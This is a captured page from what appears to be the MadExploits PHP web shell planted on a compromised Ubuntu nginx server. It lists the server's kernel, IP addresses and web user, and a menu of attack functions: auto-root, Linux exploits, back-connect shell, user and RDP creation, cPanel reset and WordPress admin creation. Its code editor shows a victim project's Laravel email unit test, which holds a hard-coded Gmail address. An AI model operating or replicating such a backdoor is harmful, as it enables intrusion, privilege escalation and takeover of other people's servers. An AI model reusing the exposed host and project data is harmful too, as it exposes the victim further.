Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.1
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
lms-api /
tests /
Unit /
Trek /
[ HOME SHELL ]
Name
Size
Permission
Action
BookingTest.php
4.31
KB
-rw-rw-r--
EmailTest.php
2.07
KB
-rw-rw-r--
GeneratePdfTest.php
3.05
KB
-rw-rw-r--
PaymentTest.php
2.86
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : EmailTest.php
<?php namespace Tests\Unit\Trek; use App\Jobs\SendEmail; use App\Modules\Trek\Entities\Booking; use App\Modules\Trek\Repositories\BookingRepository; use App\Traits\MailSettingTrait; use Tests\TestCase; class EmailTest extends TestCase { use MailSettingTrait; public function setUp() { parent::setUp(); $this->bookingRepo = new BookingRepository(); } /** @test */ public function get_email_host_returns_host_on_success() { $response = $this->getHost(); $this->assertNotEmpty($response); $this->assertCount(1, [$response]); } /** @test */ public function get_email_username_returns_username_on_success() { $response = $this->getUsername(); $this->assertNotEmpty($response); $this->assertCount(1, [$response]); } /** @test */ public function send_email_test() { $booking = factory(Booking::class)->create(); $res = $this->bookingRepo->find(['uuid' => $booking->uuid], ['account', 'customer', 'customer.adults', 'customer.youths', 'customer.infants', 'trek', 'trek.account', 'departure']); info('$booking:' . json_encode($res)); $destination = "/uploads/bookings/"; $filename = $destination . $booking->uuid . '.pdf'; $attachment = (file_exists(public_path($filename))) ? public_path($filename) : ''; $detail = [ 'email_data' => $res, 'mail_to' => 'searchable.200@gmail.com', 'template' => 'emails.invoice', 'subject' => 'Your Invoice Detail At TenderApp', 'attachment' => $attachment ]; $job = new SendEmail($detail, $detail['email_data']); dispatch($job); $response = $job->getResponse(); // $job = new SendEmail($detail, $detail['email_data']); // $job->dispatch(); // return response()->json($job->getResponse()); // SendEmail::dispatch($detail, $detail['email_data']); info('response:' . $response); $this->assertNotEmpty($response); // $this->assertEquals(true,$response); } }
Close